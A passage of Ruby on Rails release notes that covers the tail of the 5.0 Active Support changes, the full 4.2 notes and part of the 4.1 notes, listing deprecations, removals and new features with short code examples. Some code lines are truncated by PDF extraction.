Concurrent::CountDownLatch from concurrent-ruby. (Pull Request)
Deprecated :prefix option of number_to_human_size with no
replacement. (Pull Request)
Deprecated Module#qualified_const_ in favour of the builtin
Module#const_ methods. (Pull Request)
Deprecated passing string to define callback. (Pull Request)
Deprecated ActiveSupport::Cache::Store#namespaced_key,
ActiveSupport::Cache::MemCachedStore#escape_key, and
ActiveSupport::Cache::FileStore#key_file_path. Use
normalize_key instead. Deprecated
ActiveSupport::Cache::LocaleCache#set_cache_value in favor of
write_cache_value. (Pull Request)
Deprecated passing arguments to assert_nothing_raised. (Pull
Request)
Deprecated Module.local_constants in favor of
Module.constants(false). (Pull Request)
10.3 Notable changes
Added #verified and #valid_message? methods to
ActiveSupport::MessageVerifier. (Pull Request)
Changed the way in which callback chains can be halted. The
preferred method to halt a callback chain from now on is to explicitly
throw(:abort). (Pull Request)
New config option
config.active_support.halt_callback_chains_on_return_false

to specify whether ActiveRecord, ActiveModel and

ActiveModel::Validations callback chains can be halted by returning
false in a 'before' callback. (Pull Request)

Changed the default test order from :sorted to :random. (commit)

Added #on_weekend?, #on_weekday?, #next_weekday,
#prev_weekday methods to Date, Time, and DateTime. (Pull Request)
Added same_time option to #next_week and #prev_week for Date,
Time, and DateTime. (Pull Request)
Added #prev_day and #next_day counterparts to #yesterday and
#tomorrow for Date, Time, and DateTime. (Pull Request)
Added SecureRandom.base58 for generation of random base58
strings. (commit)
Added file_fixture to ActiveSupport::TestCase. It provides a
simple mechanism to access sample files in your test cases. (Pull
Request)
Added #without on Enumerable and Array to return a copy of an
enumerable without the specified elements. (Pull Request)
Added ActiveSupport::ArrayInquirer and Array#inquiry. (Pull
Request)
Added ActiveSupport::TimeZone#strptime to allow parsing times
as if from a given timezone. (commit)
Added Integer#positive? and Integer#negative? query methods
in the vein of Integer#zero?. (commit)
Added a bang version to ActiveSupport::OrderedOptions get
methods which will raise an KeyError if the value is .blank?. (Pull
Request)
Added Time.days_in_year to return the number of days in the given
year, or the current year if no argument is provided. (commit)
Added an evented file watcher to asynchronously detect changes in
the application source code, routes, locales, etc. (Pull Request)
Added thread_m/cattr_accessor/reader/writer suite of methods for
declaring class and module variables that live per-thread. (Pull
Request)
Added Array#second_to_last and Array#third_to_last methods.
(Pull Request)
Added #on_weekday? method to Date, Time, and DateTime. (Pull
Request)

Publish ActiveSupport::Executor and ActiveSupport::Reloader

APIs to allow components and libraries to manage, and participate in,
the execution of application code, and the application reloading
process. (Pull Request)
ActiveSupport::Duration now supports ISO8601 formatting and
parsing. (Pull Request)
ActiveSupport::JSON.decode now supports parsing ISO8601 local
times when parse_json_times is enabled. (Pull Request)
ActiveSupport::JSON.decode now return Date objects for date
strings. (Pull Request)
Added ability to TaggedLogging to allow loggers to be instantiated
multiple times so that they don't share tags with each other. (Pull
Request)

11 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.

Ruby on Rails 4.2 Release Notes

Ruby...

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 4.1 in
case you haven't and make sure your application still runs as expected
before attempting to upgrade to Rails 4.2. A list of things to watch out for
when upgrading is available in the guide Upgrading Ruby on Rails.

2 Major Features
2.1 Active Job
Active Job is a new framework in Rails 4.2. It is a common interface on
top of queuing systems like Resque, Delayed Job, Sidekiq, and more.
Jobs written with the Active Job API run on any of the supported queues
thanks to their respective adapters. Active Job comes pre-configured with
an inline runner that executes jobs right away.
Jobs often need to take Active Record objects as arguments. Active Job
passes object references as URIs (uniform resource identifiers) instead of
marshaling the object itself. The new Global ID library builds URIs and
looks up the objects they reference. Passing Active Record objects as job
arguments just works by using Global ID internally.
For example, if trashable is an Active Record object, then this job runs
just fine with no serialization involved:
class TrashableCleanupJob < ActiveJob::Base
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

See the Active Job Basics guide for more information.

2.2 Asynchronous Mails
Building on top of Active Job, Action Mailer now comes with a
deliver_later method that sends emails via the queue, so it doesn't block
the controller or model if the queue is asynchronous (the default inline
queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record
Adequate Record is a set of performance improvements in Active Record
that makes common find and find_by calls and some association queries
up to 2x faster.
It works by caching common SQL queries as prepared statements and
reusing them on similar calls, skipping most of the query-generation work
on subsequent calls. For more details, please refer to Aaron Patterson's
blog post.
Active Record will automatically take advantage of this feature on
supported operations without any user involvement or code changes. Here
are some examples of supported operations:

Post.find(1) # First call generates and cache the prepared stat

Post.find(2) # Subsequent calls reuse the cached prepared state
Post.find_by_title('first post')
Post.find_by_title('second post')
Post.find_by(title: 'first post')
Post.find_by(title: 'second post')
post.comments
post.comments(true)

It's important to highlight that, as the examples above suggest, the

prepared statements do not cache the values passed in the method calls;
rather, they have placeholders for them.
Caching is not used in the following scenarios:
The model has a default scope

The model uses single table inheritance

find with a list of ids, e.g.:
# not cached
Post.find(1, 2, 3)
Post.find([1,2])

find_by with SQL fragments:

Post.find_by('published_at < ?', 2.weeks.ago)

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web
Console gem by default. Web Console adds an interactive Ruby console
on every error page and provides a console view and controller helpers.
The interactive console on error pages lets you execute code in the context
of the place where the exception originated. The console helper, if called
anywhere in a view or controller, launches an interactive console with the
final context, once rendering has completed.
2.5 Foreign Key Support
The migration DSL now supports adding and removing foreign keys. They
are dumped to schema.rb as well. At this time, only the mysql, mysql2 and
postgresql adapters support foreign keys.

# add a foreign key to `articles.author_id` referencing `authors

add_foreign_key :articles, :authors

# add a foreign key to `articles.author_id` referencing `users.l

add_foreign_key :articles, :users, column: :author_id, primary_k
# remove the foreign key on `accounts.branch_id`

remove_foreign_key :accounts, :branches

# remove the foreign key on `accounts.owner_id`
remove_foreign_key :accounts, column: :owner_id

See the API documentation on add_foreign_key and remove_foreign_key

for a full description.

3 Incompatibilities
Previously deprecated functionality has been removed. Please refer to the
individual components for new deprecations in this release.
The following changes may require immediate action upon upgrade.
3.1 render with a String Argument
Previously, calling render "foo/bar" in a controller action was
equivalent to render file: "foo/bar". In Rails 4.2, this has been
changed to mean render template: "foo/bar" instead. If you need to
render a file, please change your code to use the explicit form (render
file: "foo/bar") instead.
3.2 respond_with / Class-Level respond_to
respond_with and the corresponding class-level respond_to have been
moved to the responders gem. Add gem 'responders', '~> 2.0' to your

Gemfile to use it:

# app/controllers/users_controller.rb
class UsersController < ApplicationController
respond_to :html, :json
def show
@user = User.find(params[:id])
respond_with @user
end
end

Instance-level respond_to is unaffected:

# app/controllers/users_controller.rb

class UsersController < ApplicationController

def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

3.3 Default Host for rails server

Due to a change in Rack, rails server now listens on localhost instead
of 0.0.0.0 by default. This should have minimal impact on the standard
development workflow as both http://127.0.0.1:3000 and
http://localhost:3000 will continue to work as before on your own
machine.
However, with this change you will no longer be able to access the Rails
server from a different machine, for example if your development
environment is in a virtual machine and you would like to access it from
the host machine. In such cases, please start the server with rails server
-b 0.0.0.0 to restore the old behavior.
If you do this, be sure to configure your firewall properly such that only
trusted machines on your network can access your development server.
3.4 Changed status option symbols for render
Due to a change in Rack, the symbols that the render method accepts for
the :status option have changed:
306: :reserved has been removed.
413: :request_entity_too_large has been renamed to
:payload_too_large.

414: :request_uri_too_long has been renamed to :uri_too_long.

416: :requested_range_not_satisfiable has been renamed to
:range_not_satisfiable.
Keep in mind that if calling render with an unknown symbol, the response
status will default to 500.
3.5 HTML Sanitizer
The HTML sanitizer has been replaced with a new, more robust,
implementation built upon Loofah and Nokogiri. The new sanitizer is
more secure and its sanitization is more powerful and flexible.
Due to the new algorithm, the sanitized output may be different for certain
pathological inputs.
If you have a particular need for the exact output of the old sanitizer, you
can add the rails-deprecated_sanitizer gem to the Gemfile, to have the old
behavior. The gem does not issue deprecation warnings because it is optin.
rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will

not be maintained for Rails 5.0.

See this blog post for more details on the changes in the new sanitizer.
3.6 assert_select
assert_select is now based on Nokogiri. As a result, some previously-

valid selectors are now unsupported. If your application is using any of

these spellings, you will need to update them:
Values in attribute selectors may need to be quoted if they contain
non-alphanumeric characters.

# before
a[href=/]
a[href$=/]
# now
a[href="/"]
a[href$="/"]

DOMs built from HTML source containing invalid HTML with

improperly nested elements may differ. For example:
# content: <div><i><p></i></div>
# before:
assert_select('div > i') # => true
assert_select('div > p') # => false
assert_select('i > p') # => true
# now:
assert_select('div > i') # => true
assert_select('div > p') # => true
assert_select('i > p') # => false

If the data selected contains entities, the value selected for

comparison used to be raw (e.g. AT&T), and now is evaluated
(e.g. AT&T).
# content: <p>AT&T</p>
# before:
assert_select('p', 'AT&T') # => true
assert_select('p', 'AT&T') # => false
# now:
assert_select('p', 'AT&T') # => true
assert_select('p', 'AT&T') # => false

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

assert_select ":match('id', ?)", 'comment_1'

Additionally Regexp substitutions look different when the assertion fails.

Notice how /hello/ here:
assert_select(":match('id', ?)", /hello/)

becomes "(?-mix:hello)":

Expected at least 1 element matching "div:match('id', "(?-mix:he

Expected 0 to be >= 1.

See the Rails Dom Testing documentation for more on assert_select.

4 Railties
Please refer to the Changelog for detailed changes.
4.1 Removals
The --skip-action-view option has been removed from the app
generator. (Pull Request)
The rails application command has been removed without
replacement. (Pull Request)
4.2 Deprecations
Deprecated missing config.log_level for production environments.
(Pull Request)
Deprecated rake test:all in favor of rake test as it now run all
tests in the test folder. (Pull Request)
Deprecated rake test:all:db in favor of rake test:db. (Pull
Request)
Deprecated Rails::Rack::LogTailer without replacement.
(Commit)
4.3 Notable changes
Introduced web-console in the default application Gemfile. (Pull
Request)
Added a required option to the model generator for associations.
(Pull Request)
Introduced the x namespace for defining custom configuration
options:
# config/environments/production.rb
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries = 3

config.x.super_debugger = true

These options are then available through the configuration object:

Rails.configuration.x.payment_processing.schedule # => :dail

Rails.configuration.x.payment_processing.retries # => 3
Rails.configuration.x.super_debugger # => true

(Commit)
Introduced Rails::Application.config_for to load a configuration
for the current environment.
# config/exception_notification.yml:
production:
url: http://127.0.0.1:8080
namespace: my_app_production
development:
url: http://localhost:3001
namespace: my_app_development

# config/environments/production.rb
Rails.application.configure do
config.middleware.use ExceptionNotifier, config_for(:excep
end

(Pull Request)
Introduced a --skip-turbolinks option in the app generator to not
generate turbolinks integration. (Commit)
Introduced a bin/setup script as a convention for automated setup
code when bootstrapping an application. (Pull Request)
Changed the default value for config.assets.digest to true in
development. (Pull Request)
Introduced an API to register new extensions for rake notes. (Pull
Request)
Introduced an after_bundle callback for use in Rails templates. (Pull
Request)

Introduced Rails.gem_version as a convenience method to return

Gem::Version.new(Rails.version). (Pull Request)

5 Action Pack
Please refer to the Changelog for detailed changes.
5.1 Removals
respond_with and the class-level respond_to have been removed
from Rails and moved to the responders gem (version 2.0). Add gem
'responders', '~> 2.0' to your Gemfile to continue using these

features. (Pull Request, More Details)

Removed deprecated

AbstractController::Helpers::ClassMethods::MissingHelperErro
in favor of AbstractController::Helpers::MissingHelperError.

(Commit)
5.2 Deprecations
Deprecated the only_path option on *_path helpers. (Commit)
Deprecated assert_tag, assert_no_tag, find_tag and
find_all_tag in favor of assert_select. (Commit)
Deprecated support for setting the :to option of a router to a symbol
or a string that does not contain a "#" character:

get '/posts', to: MyRackApp => (No change necessary)

get '/posts', to: 'post#index' => (No change necessary)
get '/posts', to: 'posts' => get '/posts', controller:
get '/posts', to: :index => get '/posts', action: :ind

(Commit)
Deprecated support for string keys in URL helpers:
# bad
root_path('controller' => 'posts', 'action' => 'index')
# good

root_path(controller: 'posts', action: 'index')

(Pull Request)
5.3 Notable changes
The *_filter family of methods have been removed from the
documentation. Their usage is discouraged in favor of the *_action
family of methods:
after_filter => after_action
append_after_filter => append_after_action
append_around_filter => append_around_action
append_before_filter => append_before_action
around_filter => around_action
before_filter => before_action
prepend_after_filter => prepend_after_action
prepend_around_filter => prepend_around_action
prepend_before_filter => prepend_before_action
skip_after_filter => skip_after_action
skip_around_filter => skip_around_action
skip_before_filter => skip_before_action
skip_filter => skip_action_callback

If your application currently depends on these methods, you should

use the replacement *_action methods instead. These methods will
be deprecated in the future and will eventually be removed from
Rails. (Commit 1, 2)
render nothing: true or rendering a nil body no longer add a
single space padding to the response body. (Pull Request)
Rails now automatically includes the template's digest in ETags. (Pull
Request)
Segments that are passed into URL helpers are now automatically
escaped. (Commit)
Introduced the always_permitted_parameters option to configure
which parameters are permitted globally. The default value of this

configuration is ['controller', 'action']. (Pull Request)

Added the HTTP method MKCALENDAR from RFC 4791. (Pull Request)
*_fragment.action_controller notifications now include the
controller and action name in the payload. (Pull Request)
Improved the Routing Error page with fuzzy matching for route
search. (Pull Request)
Added an option to disable logging of CSRF failures. (Pull Request)
When the Rails server is set to serve static assets, gzip assets will now
be served if the client supports it and a pre-generated gzip file (.gz) is
on disk. By default the asset pipeline generates .gz files for all
compressible assets. Serving gzip files minimizes data transfer and
speeds up asset requests. Always use a CDN if you are serving assets
from your Rails server in production. (Pull Request)
When calling the process helpers in an integration test the path needs
to have a leading slash. Previously you could omit it but that was a
byproduct of the implementation and not an intentional feature, e.g.:
test "list all posts" do
get "/posts"
assert_response :success
end

6 Action View
Please refer to the Changelog for detailed changes.
6.1 Deprecations
Deprecated AbstractController::Base.parent_prefixes. Override
AbstractController::Base.local_prefixes when you want to
change where to find views. (Pull Request)
Deprecated ActionView::Digestor#digest(name, format,
finder, options = {}). Arguments should be passed as a hash
instead. (Pull Request)
6.2 Notable changes
render "foo/bar" now expands to render template: "foo/bar"
instead of render file: "foo/bar". (Pull Request)
The form helpers no longer generate a <div> element with inline CSS

around the hidden fields. (Pull Request)

Introduced a #{partial_name}_iteration special local variable for
use with partials that are rendered with a collection. It provides access
to the current state of the iteration via the index, size, first? and
last? methods. (Pull Request)
Placeholder I18n follows the same convention as label I18n. (Pull
Request)

7 Action Mailer
Please refer to the Changelog for detailed changes.
7.1 Deprecations
Deprecated *_path helpers in mailers. Always use *_url helpers
instead. (Pull Request)
Deprecated deliver / deliver! in favor of deliver_now /
deliver_now!. (Pull Request)
7.2 Notable changes
link_to and url_for generate absolute URLs by default in
templates, it is no longer needed to pass only_path: false.

(Commit)
Introduced deliver_later which enqueues a job on the application's
queue to deliver emails asynchronously. (Pull Request)
Added the show_previews configuration option for enabling mailer
previews outside of the development environment. (Pull Request)

8 Active Record
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed cache_attributes and friends. All attributes are cached.
(Pull Request)
Removed deprecated method
ActiveRecord::Base.quoted_locking_column. (Pull Request)
Removed deprecated ActiveRecord::Migrator.proper_table_name.
Use the proper_table_name instance method on
ActiveRecord::Migration instead. (Pull Request)
Removed unused :timestamp type. Transparently alias it to
:datetime in all cases. Fixes inconsistencies when column types are
sent outside of Active Record, such as for XML serialization. (Pull
Request)
8.2 Deprecations
Deprecated swallowing of errors inside after_commit and
after_rollback. (Pull Request)
Deprecated broken support for automatic detection of counter caches
on has_many :through associations. You should instead manually
specify the counter cache on the has_many and belongs_to
associations for the through records. (Pull Request)
Deprecated passing Active Record objects to .find or .exists?. Call
id on the objects first. (Commit 1, 2)
Deprecated half-baked support for PostgreSQL range values with
excluding beginnings. We currently map PostgreSQL ranges to Ruby
ranges. This conversion is not fully possible because Ruby ranges do
not support excluded beginnings. The current solution of
incrementing the beginning is not correct and is now deprecated. For

subtypes where we don't know how to increment (e.g. succ is not

defined) it will raise an ArgumentError for ranges with excluding
beginnings. (Commit)
Deprecated calling DatabaseTasks.load_schema without a
connection. Use DatabaseTasks.load_schema_current instead.
(Commit)
Deprecated sanitize_sql_hash_for_conditions without
replacement. Using a Relation for performing queries and updates is
the preferred API. (Commit)
Deprecated add_timestamps and t.timestamps without passing the
:null option. The default of null: true will change in Rails 5 to
null: false. (Pull Request)
Deprecated Reflection#source_macro without replacement as it is
no longer needed in Active Record. (Pull Request)
Deprecated serialized_attributes without replacement. (Pull
Request)
Deprecated returning nil from column_for_attribute when no
column exists. It will return a null object in Rails 5.0. (Pull Request)
Deprecated using .joins, .preload and .eager_load with
associations that depend on the instance state (i.e. those defined with
a scope that takes an argument) without replacement. (Commit)
8.3 Notable changes
SchemaDumper uses force: :cascade on create_table. This makes

it possible to reload a schema when foreign keys are in place.

Added a :required option to singular associations, which defines a
presence validation on the association. (Pull Request)
ActiveRecord::Dirty now detects in-place changes to mutable
values. Serialized attributes on Active Record models are no longer
saved when unchanged. This also works with other types such as
string columns and json columns on PostgreSQL. (Pull Requests 1, 2,
3)

Introduced the db:purge Rake task to empty the database for the
current environment. (Commit)
Introduced ActiveRecord::Base#validate! that raises
ActiveRecord::RecordInvalid if the record is invalid. (Pull
Request)
Introduced validate as an alias for valid?. (Pull Request)
touch now accepts multiple attributes to be touched at once. (Pull
Request)
The PostgreSQL adapter now supports the jsonb datatype in
PostgreSQL 9.4+. (Pull Request)
The PostgreSQL and SQLite adapters no longer add a default limit of
255 characters on string columns. (Pull Request)
Added support for the citext column type in the PostgreSQL
adapter. (Pull Request)
Added support for user-created range types in the PostgreSQL
adapter. (Commit)
sqlite3:///some/path now resolves to the absolute system path
/some/path. For relative paths, use sqlite3:some/path instead.
(Previously, sqlite3:///some/path resolved to the relative path
some/path. This behavior was deprecated on Rails 4.1). (Pull
Request)
Added support for fractional seconds for MySQL 5.6 and above. (Pull
Request 1, 2)
Added ActiveRecord::Base#pretty_print to pretty print models.
(Pull Request)
ActiveRecord::Base#reload now behaves the same as m =
Model.find(m.id), meaning that it no longer retains the extra
attributes from custom SELECTs. (Pull Request)
ActiveRecord::Base#reflections now returns a hash with string
keys instead of symbol keys. (Pull Request)
The references method in migrations now supports a type option for
specifying the type of the foreign key (e.g. :uuid). (Pull Request)

9 Active Model
Please refer to the Changelog for detailed changes.
9.1 Removals
Removed deprecated Validator#setup without replacement. (Pull
Request)
9.2 Deprecations
Deprecated reset_#{attribute} in favor of restore_#{attribute}.
(Pull Request)
Deprecated ActiveModel::Dirty#reset_changes in favor of
clear_changes_information. (Pull Request)
9.3 Notable changes
Introduced validate as an alias for valid?. (Pull Request)
Introduced the restore_attributes method in ActiveModel::Dirty
to restore the changed (dirty) attributes to their previous values. (Pull
Request 1, 2)
has_secure_password no longer disallows blank passwords (i.e.
passwords that contains only spaces) by default. (Pull Request)
has_secure_password now verifies that the given password is less
than 72 characters if validations are enabled. (Pull Request)

10 Active Support
Please refer to the Changelog for detailed changes.
10.1 Removals
Removed deprecated Numeric#ago, Numeric#until, Numeric#since,
Numeric#from_now. (Commit)
Removed deprecated string based terminators for
ActiveSupport::Callbacks. (Pull Request)
10.2 Deprecations
Deprecated Kernel#silence_stderr, Kernel#capture and
Kernel#quietly without replacement. (Pull Request)
Deprecated Class#superclass_delegating_accessor, use
Class#class_attribute instead. (Pull Request)
Deprecated ActiveSupport::SafeBuffer#prepend! as
ActiveSupport::SafeBuffer#prepend now performs the same
function. (Pull Request)
10.3 Notable changes
Introduced a new configuration option active_support.test_order
for specifying the order test cases are executed. This option currently
defaults to :sorted but will be changed to :random in Rails 5.0.
(Commit)
Object#try and Object#try! can now be used without an explicit
receiver in the block. (Commit, Pull Request)
The travel_to test helper now truncates the usec component to 0.
(Commit)
Introduced Object#itself as an identity function. (Commit 1, 2)
Object#with_options can now be used without an explicit receiver

in the block. (Pull Request)

Introduced String#truncate_words to truncate a string by a number
of words. (Pull Request)
Added Hash#transform_values and Hash#transform_values! to
simplify a common pattern where the values of a hash must change,
but the keys are left the same. (Pull Request)
The humanize inflector helper now strips any leading underscores.
(Commit)
Introduced Concern#class_methods as an alternative to module
ClassMethods, as well as Kernel#concern to avoid the module Foo;
extend ActiveSupport::Concern; end boilerplate. (Commit)
New guide about constant autoloading and reloading.

11 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails the stable and robust framework it is today.
Kudos to all of them.

Ruby on Rails 4.1 Release Notes

Ruby...

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 4.0 in
case you haven't and make sure your application still runs as expected
before attempting an update to Rails 4.1. A list of things to watch out for
when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features
2.1 Spring Application Preloader
Spring is a Rails application preloader. It speeds up development by
keeping your application running in the background so you don't need to
boot it every time you run a test, rake task or migration.
New Rails 4.1 applications will ship with "springified" binstubs. This
means that bin/rails and bin/rake will automatically take advantage of
preloaded spring environments.
Running rake tasks:
bin/rake test:models

Running a Rails command:

bin/rails console

Spring introspection:
$ bin/spring status
Spring is running:

1182 spring server | my_app | started 29 mins ago

Have a look at the Spring README to see all available features.

See the Upgrading Ruby on Rails guide on how to migrate existing
applications to use this feature.

2.2 config/secrets.yml
Rails 4.1 generates a new secrets.yml file in the config folder. By
default, this file contains the application's secret_key_base, but it could
also be used to store other secrets such as access keys for external APIs.
The secrets added to this file are accessible via
Rails.application.secrets. For example, with the following
config/secrets.yml:
development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

Rails.application.secrets.some_api_key returns SOMEKEY in the

development environment.
See the Upgrading Ruby on Rails guide on how to migrate existing
applications to use this feature.
2.3 Action Pack Variants
We often want to render different HTML/JSON/XML templates for
phones, tablets, and desktop browsers. Variants make it easy.
The request variant is a specialization of the request format, like :tablet,
:phone, or :desktop.
You can set the variant in a before_action:
request.variant = :tablet if request.user_agent =~ /iPad/

Respond to variants in the action just like you respond to formats:

respond_to do |format|
format.html do |html|
html.tablet # renders app/views/projects/show.html+tablet.er
html.phone { extra_setup; render ... }
end
end

Provide separate templates for each format and variant:

app/views/projects/show.html.erb
app/views/projects/show.html+tablet.erb
app/views/projects/show.html+phone.erb

You can also simplify the variants definition using the inline syntax:
respond_to do |format|
format.js { render "trash" }
format.html.phone { redirect_to progress_path }
format.html.none { render "trash" }
end

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting a
special URL that renders them.
You implement a preview class whose methods return the mail object
you'd like to check:
class NotifierPreview < ActionMailer::Preview
def welcome
Notifier.welcome(User.first)
end
end

The preview is available in

http://localhost:3000/rails/mailers/notifier/welcome, and a list of them in
http://localhost:3000/rails/mailers.
By default, these preview classes live in test/mailers/previews. This
can be configured using the preview_path option.
See its documentation for a detailed write up.
2.5 Active Record enums
Declare an enum attribute where the values map to integers in the
database, but can be queried by name.
class Conversation < ActiveRecord::Base
enum status: [ :active, :archived ]
end
conversation.archived!
conversation.active? # => false
conversation.status # => "archived"

Conversation.archived # => Relation for all archived Conversatio

Conversation.statuses # => { "active" => 0, "archived" => 1 }

See its documentation for a detailed write up.

2.6 Message Verifiers
Message verifiers can be used to generate and verify signed messages.
This can be useful to safely transport sensitive data like remember-me
tokens and friends.
The method Rails.application.message_verifier returns a new
message verifier that signs messages with a key derived from

secret_key_base and the given message verifier name:

signed_token = Rails.application.message_verifier(:remember_me).
Rails.application.message_verifier(:remember_me).verify(signed_t

Rails.application.message_verifier(:remember_me).verify(tampered
# raises ActiveSupport::MessageVerifier::InvalidSignature

2.7 Module#concerning
A natural, low-ceremony way to separate responsibilities within a class:
class Todo < ActiveRecord::Base
concerning :EventTracking do
included do
has_many :events
end
def latest_event
...
end
private
def some_internal_method
...
end
end
end

This example is equivalent to defining a EventTracking module inline,

extending it with ActiveSupport::Concern, then mixing it in to the Todo
class.
See its documentation for a detailed write up and the intended use cases.
2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests

with JavaScript responses, too. That prevents a third-party site from
referencing your JavaScript URL and attempting to run it to extract
sensitive data.
This means any of your tests that hit .js URLs will now fail CSRF
protection unless they use xhr. Upgrade your tests to be explicit about
expecting XmlHttpRequests. Instead of post :create, format: :js,
switch to the explicit xhr :post, :create, format: :js.

3 Railties
Please refer to the Changelog for detailed changes.
3.1 Removals
Removed update:application_controller rake task.
Removed deprecated Rails.application.railties.engines.
Removed deprecated threadsafe! from Rails Config.
Removed deprecated
ActiveRecord::Generators::ActiveModel#update_attributes in
favor of ActiveRecord::Generators::ActiveModel#update.
Removed deprecated config.whiny_nils option.
Removed deprecated rake tasks for running tests: rake
test:uncommitted and rake test:recent.

3.2 Notable changes

The Spring application preloader is now installed by default for new
applications. It uses the development group of the Gemfile, so will
not be installed in production. (Pull Request)
BACKTRACE environment variable to show unfiltered backtraces for
test failures. (Commit)
Exposed MiddlewareStack#unshift to environment configuration.
(Pull Request)
Added Application#message_verifier method to return a message
verifier. (Pull Request)
The test_help.rb file which is required by the default generated test
helper will automatically keep your test database up-to-date with
db/schema.rb (or db/structure.sql). It raises an error if reloading
the schema does not resolve all pending migrations. Opt out with
config.active_record.maintain_test_schema = false. (Pull
Request)

Introduce Rails.gem_version as a convenience method to return

Gem::Version.new(Rails.version), suggesting a more reliable way
to perform version comparison. (Pull Request)

4 Action Pack
Please refer to the Changelog for detailed changes.
4.1 Removals
Removed deprecated Rails application fallback for integration testing,
set ActionDispatch.test_app instead.
Removed deprecated page_cache_extension config.
Removed deprecated ActionController::RecordIdentifier, use
ActionView::RecordIdentifier instead.
Removed deprecated constants from Action Controller:
Removed
Successor
ActionController::AbstractRequest ActionDispatch::Request
ActionController::Request
ActionDispatch::Request
ActionController::AbstractResponse ActionDispatch::Response
ActionController::Response
ActionDispatch::Response
ActionController::Routing
ActionDispatch::Routing
ActionController::Integration
ActionDispatch::Integration
ActionController::IntegrationTest ActionDispatch::IntegrationTest
4.2 Notable changes
protect_from_forgery also prevents cross-origin <script> tags.
Update your tests to use xhr :get, :foo, format: :js instead of
get :foo, format: :js. (Pull Request)
#url_for takes a hash with options inside an array. (Pull Request)
Added session#fetch method fetch behaves similarly to Hash#fetch,

with the exception that the returned value is always saved into the
session. (Pull Request)
Separated Action View completely from Action Pack. (Pull Request)

Log which keys were affected by deep munge. (Pull Request)

New config option config.action_dispatch.perform_deep_munge
to opt out of params "deep munging" that was used to address
security vulnerability CVE-2013-0155. (Pull Request)
New config option config.action_dispatch.cookies_serializer
for specifying a serializer for the signed and encrypted cookie jars.
(Pull Requests 1, 2 / More Details)
Added render :plain, render :html and render :body. (Pull
Request / More Details)

5 Action Mailer
Please refer to the Changelog for detailed changes.
5.1 Notable changes
Added mailer previews feature based on 37 Signals mail_view gem.
(Commit)
Instrument the generation of Action Mailer messages. The time it
takes to generate a message is written to the log. (Pull Request)

6 Active Record
Please refer to the Changelog for detailed changes.
6.1 Removals
Removed deprecated nil-passing to the following SchemaCache
methods: primary_keys, tables, columns and columns_hash.
Removed deprecated block filter from
ActiveRecord::Migrator#migrate.
Removed deprecated String constructor from
ActiveRecord::Migrator.
Removed deprecated scope use without passing a callable object.
Removed deprecated transaction_joinable= in favor of
begin_transaction with a :joinable option.
Removed deprecated decrement_open_transactions.
Removed deprecated increment_open_transactions.
Removed deprecated PostgreSQLAdapter#outside_transaction?
method. You can use #transaction_open? instead.
Removed deprecated ActiveRecord::Fixtures.find_table_name in
favor of ActiveRecord::Fixtures.default_fixture_model_name.
Removed deprecated columns_for_remove from SchemaStatements.
Removed deprecated SchemaStatements#distinct.
Moved deprecated ActiveRecord::TestCase into the Rails test suite.
The class is no longer public and is only used for internal Rails tests.
Removed support for deprecated option :restrict for :dependent in
associations.
Removed support for deprecated :delete_sql, :insert_sql,
:finder_sql and :counter_sql options in associations.
Removed deprecated method type_cast_code from Column.
Removed deprecated ActiveRecord::Base#connection method.
Make sure to access it via the class.
Removed deprecation warning for

auto_explain_threshold_in_seconds.
Removed deprecated :distinct option from Relation#count.
Removed deprecated methods partial_updates, partial_updates?
and partial_updates=.
Removed deprecated method scoped.
Removed deprecated method default_scopes?.

Remove implicit join references that were deprecated in 4.0.

Removed activerecord-deprecated_finders as a dependency.
Please see the gem README for more info.
Removed usage of implicit_readonly. Please use readonly method
explicitly to mark records as readonly. (Pull Request)
6.2 Deprecations
Deprecated quoted_locking_column method, which isn't used
anywhere.
Deprecated ConnectionAdapters::SchemaStatements#distinct, as
it is no longer used by internals. (Pull Request)
Deprecated rake db:test:* tasks as the test database is now
automatically maintained. See railties release notes. (Pull Request)
Deprecate unused ActiveRecord::Base.symbolized_base_class
and ActiveRecord::Base.symbolized_sti_name without
replacement. Commit
6.3 Notable changes
Default scopes are no longer overridden by chained conditions.
Before this change when you defined a default_scope in a model it was
overridden by chained conditions in the same field. Now it is merged like
any other scope. More Details.
Added ActiveRecord::Base.to_param for convenient "pretty" URLs
derived from a model's attribute or method. (Pull Request)

Added ActiveRecord::Base.no_touching, which allows ignoring

touch on models. (Pull Request)
Unify boolean type casting for MysqlAdapter and Mysql2Adapter.
type_cast will return 1 for true and 0 for false. (Pull Request)
.unscope now removes conditions specified in default_scope.
(Commit)
Added ActiveRecord::QueryMethods#rewhere which will overwrite
an existing, named where condition. (Commit)
Extended ActiveRecord::Base#cache_key to take an optional list of
timestamp attributes of which the highest will be used. (Commit)
Added ActiveRecord::Base#enum for declaring enum attributes
where the values map to integers in the database, but can be queried
by name. (Commit)
Type cast json values on write, so that the value is consistent with
reading from the database. (Pull Request)
Type cast hstore values on write, so that the value is consistent with
reading from the database. (Commit)
Make next_migration_number accessible for third party generators.
(Pull Request)
Calling update_attributes will now throw an ArgumentError
whenever it gets a nil argument. More specifically, it will throw an
error if the argument that it gets passed does not respond to to
stringify_keys. (Pull Request)
CollectionAssociation#first/#last (e.g. has_many) use a LIMITed
